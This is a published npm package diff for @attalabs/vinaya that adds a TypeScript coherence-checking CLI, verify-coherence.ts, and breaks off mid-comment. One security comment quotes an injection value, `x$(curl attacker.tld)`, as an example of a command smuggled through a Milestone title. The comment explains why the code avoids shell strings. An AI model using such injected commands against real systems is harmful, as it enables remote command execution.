@attalabs/vinaya 0.19.3 → 0.21.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +81 -0
- package/aeg-root/contracts/archivist-tranche-archivist.md +2 -2
- package/aeg-root/contracts/tranche-archivist-planner.md +8 -8
- package/aeg-root/enforcement.md +18 -9
- package/aeg-root/milestone-model.md +3 -1
- package/aeg-root/process.md +5 -5
- package/aeg-root/roles/architect.md +2 -2
- package/aeg-root/roles/archivist.md +10 -11
- package/aeg-root/roles/brief-author.md +1 -1
- package/aeg-root/roles/developer.md +4 -3
- package/aeg-root/roles/planner.md +2 -2
- package/aeg-root/roles/principal.md +2 -1
- package/aeg-root/roles/tranche-archivist.md +5 -18
- package/aeg-root/skills/aeg/SKILL.md +30 -1
- package/aeg-root/skills/aeg-roles/SKILL.md +1 -1
- package/aeg-root/skills/brief-authoring/SKILL.md +2 -2
- package/aeg-root/state-machine.md +8 -6
- package/aeg-root/task-model.md +1 -1
- package/aeg-root/templates/issue-rationale-template.md +4 -4
- package/aeg-root/templates/pr-report-template.md +4 -0
- package/aeg-root/tranche-model.md +1 -1
- package/dist/checks/bin/check-body-bare-digits.js +473 -32
- package/dist/checks/bin/check-branch-topology.js +792 -11
- package/dist/checks/bin/check-brief-shape.js +353 -11
- package/dist/checks/bin/check-changeset-coverage.js +4156 -0
- package/dist/checks/bin/check-closes-n.js +792 -11
- package/dist/checks/bin/check-coherence.js +831 -15
- package/dist/checks/bin/check-dead-branch-push.js +353 -11
- package/dist/checks/bin/check-dispatch-readiness.js +996 -28
- package/dist/checks/bin/check-doc-coverage-push.js +449 -22
- package/dist/checks/bin/check-doc-coverage.js +449 -22
- package/dist/checks/bin/check-doctrine-portability.js +392 -15
- package/dist/checks/bin/check-evidence-fresh.js +462 -20
- package/dist/checks/bin/check-first-push-dispatch.js +898 -26
- package/dist/checks/bin/check-issue-assignment.js +792 -11
- package/dist/checks/bin/check-main-branch-refusal.js +3973 -0
- package/dist/checks/bin/check-no-disk-state.js +353 -11
- package/dist/checks/bin/check-quoted-command.js +4405 -0
- package/dist/checks/bin/check-reader-resolvable-prose.js +466 -20
- package/dist/checks/bin/check-registry-gates.js +467 -16
- package/dist/checks/bin/check-retired-vocabulary.js +465 -19
- package/dist/checks/bin/check-review-gate.js +392 -15
- package/dist/checks/bin/check-single-plan-pr.js +353 -11
- package/dist/checks/bin/check-test-plan.js +353 -11
- package/dist/checks/bin/check-token-collection-wired.js +3975 -0
- package/dist/checks/bin/check-workspace-escape.js +353 -11
- package/dist/index.js +1921 -420
- package/package.json +1 -1
- package/studio-standalone/_node_modules/@attalabs/vinaya/studio-standalone/_node_modules/@attalabs/aeg-core/bin/verify-coherence.ts +1089 -0
- package/studio-standalone/apps/vinaya-studio/web/.next/BUILD_ID +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/build-manifest.json +3 -3
- package/studio-standalone/apps/vinaya-studio/web/.next/prerender-manifest.json +3 -3
- package/studio-standalone/apps/vinaya-studio/web/.next/required-server-files.json +5 -0
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/_global-error.html +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/_global-error.rsc +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/_global-error.segments/__PAGE__.segment.rsc +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/_global-error.segments/_full.segment.rsc +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/_global-error.segments/_head.segment.rsc +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/_global-error.segments/_index.segment.rsc +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/_global-error.segments/_tree.segment.rsc +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/_not-found/page/server-reference-manifest.json +2 -2
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/_not-found/page.js +2 -2
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/_not-found/page.js.nft.json +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/_not-found/page_client-reference-manifest.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/api/coherence/route.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/api/coherence/route.js.nft.json +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/page/server-reference-manifest.json +2 -2
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/page.js +2 -2
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/page.js.nft.json +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/page_client-reference-manifest.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/studio/backlog/page/server-reference-manifest.json +2 -2
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/studio/backlog/page.js +2 -2
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/studio/backlog/page.js.nft.json +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/studio/backlog/page_client-reference-manifest.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/studio/page/server-reference-manifest.json +2 -2
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/studio/page.js +3 -3
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/studio/page.js.nft.json +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/studio/page_client-reference-manifest.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/studio/projects/[name]/page/server-reference-manifest.json +2 -2
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/studio/projects/[name]/page.js +3 -3
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/studio/projects/[name]/page.js.nft.json +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/studio/projects/[name]/page_client-reference-manifest.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/studio/projects/[name]/tranches/[slug]/page/server-reference-manifest.json +2 -2
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/studio/projects/[name]/tranches/[slug]/page.js +3 -3
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/studio/projects/[name]/tranches/[slug]/page.js.nft.json +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/studio/projects/[name]/tranches/[slug]/page_client-reference-manifest.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/studio/projects/[name]/tranches/[slug]/tasks/[taskId]/page/server-reference-manifest.json +2 -2
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/studio/projects/[name]/tranches/[slug]/tasks/[taskId]/page.js +3 -3
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/studio/projects/[name]/tranches/[slug]/tasks/[taskId]/page.js.nft.json +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/studio/projects/[name]/tranches/[slug]/tasks/[taskId]/page_client-reference-manifest.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/studio/projects/page/server-reference-manifest.json +2 -2
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/studio/projects/page.js +3 -3
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/studio/projects/page.js.nft.json +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/studio/projects/page_client-reference-manifest.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/studio/tranches/page/server-reference-manifest.json +2 -2
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/studio/tranches/page.js +2 -2
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/studio/tranches/page.js.nft.json +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/app/studio/tranches/page_client-reference-manifest.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/{[externals]__0pvgf28._.js → [externals]__1agj1ww._.js} +2 -2
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/[root-of-the-server]__02a-3g8._.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/ssr/1q96_modules_@clerk_nextjs_dist_esm_app-router_client_keyless-creator-reader_0lom2js.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/ssr/[root-of-the-server]__0053k9k._.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/ssr/[root-of-the-server]__0112h-k._.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/ssr/[root-of-the-server]__040smoa._.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/ssr/[root-of-the-server]__0cxtq46._.js +25 -18
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/ssr/[root-of-the-server]__0o771t1._.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/ssr/{[root-of-the-server]__03jepya._.js → [root-of-the-server]__0ozbaq0._.js} +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/ssr/[root-of-the-server]__0puovz5._.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/ssr/{[root-of-the-server]__0ykun-j._.js → [root-of-the-server]__0z6dav-._.js} +3 -3
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/ssr/[root-of-the-server]__18kqy4q._.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/ssr/[root-of-the-server]__19jyp3m._.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/ssr/[root-of-the-server]__1hs0dcu._.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/ssr/[root-of-the-server]__1wc4-ip._.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/ssr/[root-of-the-server]__1widio3._.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/ssr/[root-of-the-server]__1yoa8tx._.js +3 -0
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/ssr/_03x_w6q._.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/ssr/_0gvm3og._.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/ssr/_0lwxg63._.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/ssr/_0wxycau._.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/ssr/_0x999pb._.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/ssr/_1-6rzip._.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/ssr/_1fqw88f._.js +2 -2
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/ssr/{_0zys35s._.js → _1mqrlbl._.js} +2 -2
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/ssr/{_1c9b9j-._.js → _1mrtj0f._.js} +2 -2
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/ssr/_1n0cnq-._.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/ssr/{apps_vinaya-studio_web_src_app_studio_18kqbvs._.js → apps_vinaya-studio_web_src_app_studio_06it6s-._.js} +2 -2
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/ssr/apps_vinaya-studio_web_src_app_studio_projects_[name]_tranches_[slug]_05ufo8i._.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/ssr/node_modules_1vo08dj._.js +2 -2
- package/studio-standalone/apps/vinaya-studio/web/.next/server/middleware-build-manifest.js +3 -3
- package/studio-standalone/apps/vinaya-studio/web/.next/server/pages/500.html +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/server-reference-manifest.js +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/server/server-reference-manifest.json +3 -3
- package/studio-standalone/apps/vinaya-studio/web/.next/static/chunks/0r4i_ks9z02bw.js +1 -0
- package/studio-standalone/apps/vinaya-studio/web/.next/static/chunks/{3noqvds-2bvrd.js → 1hfhxjy577l5d.js} +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/static/chunks/1k916ih3p4nsg.js +1 -0
- package/studio-standalone/apps/vinaya-studio/web/.next/static/chunks/{29-foak16tjfu.js → 1t2kft7bxzuxn.js} +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/static/chunks/{2iysedx-n06xc.js → 1ybrihl5_aocy.js} +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/static/chunks/{30ojnsx3p4lp4.js → 1yqs2zgvwa4p1.js} +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/static/chunks/{0msr2a1i-x-br.js → 25kbt5k-xb2a5.js} +1 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/static/chunks/{3gehliafvmjo9.js → 2_k6j1o9q5nn4.js} +4 -4
- package/studio-standalone/apps/vinaya-studio/web/.next/static/chunks/2hmannd4bjhzy.js +1 -0
- package/studio-standalone/apps/vinaya-studio/web/.next/static/chunks/3mqu_uhluy19i.css +1 -0
- package/studio-standalone/apps/vinaya-studio/web/package.json +2 -2
- package/studio-standalone/apps/vinaya-studio/web/server.js +1 -1
- package/aeg-root/coordination.md +0 -292
- package/studio-standalone/apps/vinaya-studio/web/.next/server/chunks/ssr/[root-of-the-server]__1rku4gz._.js +0 -3
- package/studio-standalone/apps/vinaya-studio/web/.next/static/chunks/25j-y57ng11hl.js +0 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/static/chunks/30lyvn0yzwdiz.js +0 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/static/chunks/35u8inxa732is.js +0 -1
- package/studio-standalone/apps/vinaya-studio/web/.next/static/chunks/42wxpzjhw7oy4.css +0 -1
- /package/studio-standalone/apps/vinaya-studio/web/.next/static/{5Lv83SnT--7YJDjSbxona → crNCHQ9uAgKOYC6DKkZma}/_buildManifest.js +0 -0
- /package/studio-standalone/apps/vinaya-studio/web/.next/static/{5Lv83SnT--7YJDjSbxona → crNCHQ9uAgKOYC6DKkZma}/_clientMiddlewareManifest.js +0 -0
- /package/studio-standalone/apps/vinaya-studio/web/.next/static/{5Lv83SnT--7YJDjSbxona → crNCHQ9uAgKOYC6DKkZma}/_ssgManifest.js +0 -0
|
@@ -0,0 +1,1089 @@
|
|
|
1
|
+
#!/usr/bin/env bun
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* verify-coherence — deterministic plan↔forge coherence oracle.
|
|
5
|
+
*
|
|
6
|
+
* Detects governance-state drift between tranche topology files (plan) and
|
|
7
|
+
* the forge (GitHub Issue state / PR merge events). Zero LLM calls. Stateless
|
|
8
|
+
* — every run is a fresh read; no persistent store.
|
|
9
|
+
*
|
|
10
|
+
*. Sibling to verify-docs.ts.
|
|
11
|
+
*
|
|
12
|
+
* This is a thin I/O shim — forge fetches, filesystem reads, and CLI arg/
|
|
13
|
+
* format/exit handling only. The pure check evaluators (A1/A2/A3, T1/T2/T3,
|
|
14
|
+
* D1, L1/L2/L3, checkClosesN) live in `../src/coherence-checks.ts`.
|
|
15
|
+
*
|
|
16
|
+
* Usage:
|
|
17
|
+
* bun packages/aeg-core/bin/verify-coherence.ts # JSON + human output
|
|
18
|
+
* bun packages/aeg-core/bin/verify-coherence.ts --json # JSON only
|
|
19
|
+
* bun packages/aeg-core/bin/verify-coherence.ts --human # human-readable only
|
|
20
|
+
* bun packages/aeg-core/bin/verify-coherence.ts --closes-n # Closes #N gate (CI — reads BRANCH + PR_BODY env)
|
|
21
|
+
* GITHUB_TOKEN='' bun packages/aeg-core/bin/verify-coherence.ts # test no-token path
|
|
22
|
+
*
|
|
23
|
+
* CWD-independent by design: chdir's to the repo root immediately below, since
|
|
24
|
+
* this script is also spawned as a subprocess (apps/vinaya/web's
|
|
25
|
+
* /api/coherence route) without an explicit cwd — every relative path in this
|
|
26
|
+
* file (DOC_OWNERS_PATH, aeg-root/, etc.) must resolve correctly regardless of
|
|
27
|
+
* the invoking process's own working directory.
|
|
28
|
+
*/
|
|
29
|
+
|
|
30
|
+
import { execFileSync } from 'node:child_process'
|
|
31
|
+
import { existsSync, readFileSync } from 'node:fs'
|
|
32
|
+
import { join } from 'node:path'
|
|
33
|
+
import {
|
|
34
|
+
fetchProvenance,
|
|
35
|
+
fetchTaskIssueRefs,
|
|
36
|
+
fetchTrancheIssuesAsync,
|
|
37
|
+
indexTrancheMilestonesAsync,
|
|
38
|
+
issueMilestonesFromIssues,
|
|
39
|
+
resolveGithubToken,
|
|
40
|
+
resolveRepo,
|
|
41
|
+
trancheFromIssues
|
|
42
|
+
} from '@attalabs/aeg-forge-state'
|
|
43
|
+
import type { GhIssue, TrancheMilestoneIndex } from '@attalabs/aeg-forge-state'
|
|
44
|
+
import type { Tranche } from '@attalabs/aeg-types'
|
|
45
|
+
import {
|
|
46
|
+
checkA1,
|
|
47
|
+
checkA2,
|
|
48
|
+
checkA3,
|
|
49
|
+
checkClosesN,
|
|
50
|
+
checkD1,
|
|
51
|
+
checkL1,
|
|
52
|
+
checkL2,
|
|
53
|
+
checkL3,
|
|
54
|
+
checkL4,
|
|
55
|
+
checkL5,
|
|
56
|
+
checkManifestValidity,
|
|
57
|
+
checkR1,
|
|
58
|
+
checkT1,
|
|
59
|
+
checkT2,
|
|
60
|
+
checkT3,
|
|
61
|
+
DOC_OWNERS_PATH,
|
|
62
|
+
extractClosesReferences,
|
|
63
|
+
fetchForgeFacts,
|
|
64
|
+
fetchOpenIssuesByLabel,
|
|
65
|
+
parseRegistry,
|
|
66
|
+
parseTranche,
|
|
67
|
+
R1_GRANDFATHERED_ISSUES,
|
|
68
|
+
scopeT2ToPlanPr,
|
|
69
|
+
touchesAnyTopology
|
|
70
|
+
} from '../src/index'
|
|
71
|
+
import type { CheckResult, ForgeFacts, TrancheFile, TaskEntry } from '../src/index'
|
|
72
|
+
|
|
73
|
+
const REPO_ROOT = join(import.meta.dirname, '../../..')
|
|
74
|
+
process.chdir(REPO_ROOT)
|
|
75
|
+
|
|
76
|
+
/**
|
|
77
|
+
* The registry's project names — the authority R1's project-registry half
|
|
78
|
+
* resolves `Project:` against. Read here because `../src` is pure; absent ⇒
|
|
79
|
+
* `[]`, which leaves that half dormant (a single-project repo has no registry
|
|
80
|
+
* by design).
|
|
81
|
+
*/
|
|
82
|
+
function readRegisteredProjectNames(): string[] {
|
|
83
|
+
const abs = join(REPO_ROOT, '.vinaya/projects.md')
|
|
84
|
+
if (!existsSync(abs)) return []
|
|
85
|
+
return parseRegistry(readFileSync(abs, 'utf8')).map((p) => p.name)
|
|
86
|
+
}
|
|
87
|
+
|
|
88
|
+
/**
|
|
89
|
+
* Implemented by T2; delegates to verify-docs.ts helpers.
|
|
90
|
+
*
|
|
91
|
+
* M1 (hard-fail): dangling in-repo pointer in doc-owners.
|
|
92
|
+
* M2 (info/advisory): malformed glob syntax (extremely rare with our simple grammar).
|
|
93
|
+
* M3 (hard-fail): duplicate glob in doc-owners.
|
|
94
|
+
*/
|
|
95
|
+
function checkM1M2M3(): CheckResult[] {
|
|
96
|
+
const results: CheckResult[] = []
|
|
97
|
+
|
|
98
|
+
// M1 / M2 / M3 — manifest validity
|
|
99
|
+
const docOwnersAbs = join(REPO_ROOT, DOC_OWNERS_PATH)
|
|
100
|
+
const docOwnersContent = existsSync(docOwnersAbs) ? readFileSync(docOwnersAbs, 'utf8') : null
|
|
101
|
+
|
|
102
|
+
const { m1Errors, m2Notes, m3Errors } = checkManifestValidity(docOwnersContent, existsSync)
|
|
103
|
+
|
|
104
|
+
results.push({
|
|
105
|
+
check: 'M1',
|
|
106
|
+
status: m1Errors.length > 0 ? 'fail' : 'pass',
|
|
107
|
+
failures: m1Errors.map((reason) => ({ tranche: 'doc-owners', reason }))
|
|
108
|
+
})
|
|
109
|
+
results.push({
|
|
110
|
+
check: 'M2',
|
|
111
|
+
status: 'info',
|
|
112
|
+
failures: [],
|
|
113
|
+
note: m2Notes.length > 0 ? m2Notes.join(' | ') : 'All globs syntactically valid.'
|
|
114
|
+
})
|
|
115
|
+
results.push({
|
|
116
|
+
check: 'M3',
|
|
117
|
+
status: m3Errors.length > 0 ? 'fail' : 'pass',
|
|
118
|
+
failures: m3Errors.map((reason) => ({ tranche: 'doc-owners', reason }))
|
|
119
|
+
})
|
|
120
|
+
|
|
121
|
+
return results
|
|
122
|
+
}
|
|
123
|
+
|
|
124
|
+
// ---------- forge I/O helpers -------------------------------------------------
|
|
125
|
+
// `fetchProvenance` and `fetchOpenIssuesByLabel` moved to Studio's forge lib
|
|
126
|
+
// (task 28, #372 bundled finding) so Studio's server components can share the
|
|
127
|
+
// single implementation without this CLI's top-level `process.chdir` side
|
|
128
|
+
// effect. Re-exported here so existing importers (verify-coherence.test.ts)
|
|
129
|
+
// keep working unchanged.
|
|
130
|
+
export { fetchProvenance }
|
|
131
|
+
|
|
132
|
+
// ---------- tranche file loader --------------------------------------------
|
|
133
|
+
|
|
134
|
+
const TRANCHES_RELDIR = 'aeg-root/tranches'
|
|
135
|
+
const COMPLETED_RELDIR = 'aeg-root/tranches/completed'
|
|
136
|
+
|
|
137
|
+
function isTrancheFile(name: string): boolean {
|
|
138
|
+
return name.endsWith('.md') && name !== 'README.md' && !name.endsWith('.tokens.md')
|
|
139
|
+
}
|
|
140
|
+
|
|
141
|
+
/**
|
|
142
|
+
* PR context for item 5 (aeg-governance-hardening task 24, #364, Part 2;
|
|
143
|
+
*): when set, tranche files THIS PR's own diff touches are read
|
|
144
|
+
* from the PR's head ref (its own proposed content, e.g. a plan PR adding a
|
|
145
|
+
* topology row); every other tranche file — the "repo state" side of
|
|
146
|
+
* every coherence comparison — is read from a freshly-fetched
|
|
147
|
+
* `origin/main`, never from the local checkout's `refs/pull/N/merge`, which
|
|
148
|
+
* GitHub materializes lazily and can lag behind main (confirmed 5+ false-red
|
|
149
|
+
* CI cycles, 2026-07-03/04). `null` (local dev, `--json` audit mode,
|
|
150
|
+
* daily-drift): every file reads from `origin/main`.
|
|
151
|
+
*/
|
|
152
|
+
export type PrReadContext = { prHeadSha: string; touchedFiles: Set<string> } | null
|
|
153
|
+
|
|
154
|
+
function gitFetchMainQuiet(): void {
|
|
155
|
+
try {
|
|
156
|
+
// stdio: 'ignore' — this process's own stdout is the JSON report (in
|
|
157
|
+
// --json mode); nothing this shells out to may write to it. `execFileSync`
|
|
158
|
+
// without an explicit `stdio` already pipes the child's streams into
|
|
159
|
+
// Node/Bun-internal buffers rather than the parent's real fds (verified:
|
|
160
|
+
// this alone doesn't leak), but 'ignore' makes the "never touches our
|
|
161
|
+
// stdout" invariant explicit rather than incidental.
|
|
162
|
+
execFileSync('git', ['fetch', 'origin', 'main', '--quiet'], { stdio: 'ignore' })
|
|
163
|
+
} catch {
|
|
164
|
+
// best-effort — a fetch failure leaves origin/main at whatever the local
|
|
165
|
+
// checkout already has; downstream reads simply fall back to that state.
|
|
166
|
+
}
|
|
167
|
+
}
|
|
168
|
+
|
|
169
|
+
/**
|
|
170
|
+
* Both git readers below spawn `git` with an **argv array**, never a shell
|
|
171
|
+
* string (security pass, MEDIUM 2). `ref` and `relPath` are interpolated into
|
|
172
|
+
* the `<ref>:<path>` operand git itself parses, and one of those paths is
|
|
173
|
+
* assembled from a Milestone title — a value any account with write access to
|
|
174
|
+
* the repo can choose. Through a shell string, a title like
|
|
175
|
+
* `x$(curl attacker.tld)` executed; as one argv element it is a filename git
|
|
176
|
+
* fails to resolve, which both readers already treat as "absent". The `:`
|
|
177
|
+
* separator is git's own operand grammar, not shell syntax, so the argv form
|
|
178
|
+
* needs no quoting discipline to stay correct. `execFileSync` also spawns no
|
|
179
|
+
* intermediate shell process at all, so no `IFS`/`PATH` expansion sits between
|
|
180
|
+
* this file and `git`.
|
|
181
|
+
*/
|
|
182
|
+
/**
|
|
183
|
+
* An ABSENT path is the expected answer from both probes below, not an error
|
|
184
|
+
* (#173): the forge-native cutover deleted every `aeg-root/tranches/*.md` and
|
|
185
|
+
* `no-disk-state.ts` now actively forbids re-adding one, so they miss on every
|
|
186
|
+
* healthy run and `git` says so on stderr. Both callers already degrade
|
|
187
|
+
* correctly via their `catch`; what the noise cost was a caller downstream,
|
|
188
|
+
* which concatenated the streams before parsing and read a clean run as
|
|
189
|
+
* `UNAVAILABLE` on every dispatch check.
|
|
190
|
+
*
|
|
191
|
+
* Silencing the child wholesale would have fixed that and hidden the rest — a
|
|
192
|
+
* corrupt object, an unreachable ref, a broken `git` all print here too.
|
|
193
|
+
*
|
|
194
|
+
* **Classifying by message does not work for the case that matters, and this
|
|
195
|
+
* is the load-bearing detail.** `git` emits the SAME text for an expected miss
|
|
196
|
+
* and an unreachable ref:
|
|
197
|
+
*
|
|
198
|
+
* $ git ls-tree --name-only origin/main:aeg-root/tranches # expected miss
|
|
199
|
+
* fatal: Not a valid object name origin/main:aeg-root/tranches
|
|
200
|
+
* $ git ls-tree --name-only deadbeef…:aeg-root # unreachable ref
|
|
201
|
+
* fatal: Not a valid object name deadbeef…:aeg-root
|
|
202
|
+
*
|
|
203
|
+
* So the discriminator is not the message, it is whether the REF resolves. A
|
|
204
|
+
* miss under a ref that resolves is the expected answer; a miss under a ref
|
|
205
|
+
* that does not is an infrastructure problem the sweep must not swallow —
|
|
206
|
+
* which is exactly the adopter case, where a corrupt object would otherwise
|
|
207
|
+
* silently narrow the input instead of failing visibly.
|
|
208
|
+
*
|
|
209
|
+
* The ref check is memoized per ref (one `rev-parse` per distinct ref, not per
|
|
210
|
+
* probe), and a bad ref is reported once rather than once per path. Memoizing
|
|
211
|
+
* a `true` means a ref that goes bad DURING a run stays silent for the rest of
|
|
212
|
+
* it — a seconds-wide window, accepted against one `rev-parse` per probe.
|
|
213
|
+
*
|
|
214
|
+
* What this does NOT catch: corruption BENEATH a ref that still resolves. With
|
|
215
|
+
* a tree object missing under an intact commit, `rev-parse HEAD^{commit}`
|
|
216
|
+
* succeeds and `ls-tree HEAD:sub` says `fatal: not a tree object` — different
|
|
217
|
+
* text, so a message rule could catch it where the ref rule cannot. That case
|
|
218
|
+
* is still swallowed. It is a narrower gap than the one closed here (the ref
|
|
219
|
+
* rule catches every unreachable-ref class, which is what an adopter with a
|
|
220
|
+
* damaged clone actually hits) and is left rather than bolting a second
|
|
221
|
+
* classifier on: two overlapping rules that disagree is how this file's
|
|
222
|
+
* containment sibling got its own BLOCKER.
|
|
223
|
+
*
|
|
224
|
+
* Surfacing is only safe because the downstream parse was fixed too: with
|
|
225
|
+
* stdout parsed alone, a diagnostic on stderr can no longer corrupt a caller's
|
|
226
|
+
* payload, so honesty here costs nothing.
|
|
227
|
+
*/
|
|
228
|
+
const refResolves = new Map<string, boolean>()
|
|
229
|
+
const badRefReported = new Set<string>()
|
|
230
|
+
|
|
231
|
+
function refIsResolvable(ref: string): boolean {
|
|
232
|
+
const cached = refResolves.get(ref)
|
|
233
|
+
if (cached !== undefined) return cached
|
|
234
|
+
let ok: boolean
|
|
235
|
+
try {
|
|
236
|
+
execFileSync('git', ['rev-parse', '--verify', '--quiet', `${ref}^{commit}`], {
|
|
237
|
+
encoding: 'utf8',
|
|
238
|
+
stdio: ['ignore', 'pipe', 'pipe']
|
|
239
|
+
})
|
|
240
|
+
ok = true
|
|
241
|
+
} catch {
|
|
242
|
+
ok = false
|
|
243
|
+
}
|
|
244
|
+
refResolves.set(ref, ok)
|
|
245
|
+
return ok
|
|
246
|
+
}
|
|
247
|
+
|
|
248
|
+
function reportUnexpectedProbeFailure(err: unknown, ref: string, what: string): void {
|
|
249
|
+
if (refIsResolvable(ref)) return // a path miss under a good ref — the expected answer
|
|
250
|
+
if (badRefReported.has(ref)) return // one line per bad ref, not one per probe
|
|
251
|
+
badRefReported.add(ref)
|
|
252
|
+
const stderr = String((err as { stderr?: Buffer | string })?.stderr ?? '').trim()
|
|
253
|
+
console.error(
|
|
254
|
+
`[verify-coherence] ref "${ref}" does not resolve — every probe against it will miss, ` +
|
|
255
|
+
`so this sweep's file-topology input is incomplete rather than empty (${what}): ${stderr.split('\n')[0] ?? ''}`
|
|
256
|
+
)
|
|
257
|
+
}
|
|
258
|
+
|
|
259
|
+
function listDirAtRef(ref: string, relDir: string): string[] {
|
|
260
|
+
try {
|
|
261
|
+
return execFileSync('git', ['ls-tree', '--name-only', `${ref}:${relDir}`], {
|
|
262
|
+
encoding: 'utf8',
|
|
263
|
+
stdio: ['ignore', 'pipe', 'pipe']
|
|
264
|
+
})
|
|
265
|
+
.split('\n')
|
|
266
|
+
.map((s) => s.trim())
|
|
267
|
+
.filter(Boolean)
|
|
268
|
+
} catch (err) {
|
|
269
|
+
reportUnexpectedProbeFailure(err, ref, `ls-tree ${ref}:${relDir}`)
|
|
270
|
+
return []
|
|
271
|
+
}
|
|
272
|
+
}
|
|
273
|
+
|
|
274
|
+
function readFileAtRef(ref: string, relPath: string): string | null {
|
|
275
|
+
try {
|
|
276
|
+
return execFileSync('git', ['show', `${ref}:${relPath}`], {
|
|
277
|
+
encoding: 'utf8',
|
|
278
|
+
stdio: ['ignore', 'pipe', 'pipe']
|
|
279
|
+
})
|
|
280
|
+
} catch (err) {
|
|
281
|
+
reportUnexpectedProbeFailure(err, ref, `show ${ref}:${relPath}`)
|
|
282
|
+
return null
|
|
283
|
+
}
|
|
284
|
+
}
|
|
285
|
+
|
|
286
|
+
/**
|
|
287
|
+
* Bounded-concurrency `map`. Every forge fan-out in this file goes through
|
|
288
|
+
* here rather than a bare `Promise.all`: an unbounded fan-out issues one
|
|
289
|
+
* simultaneous `gh` subprocess per tranche, which is precisely the burst
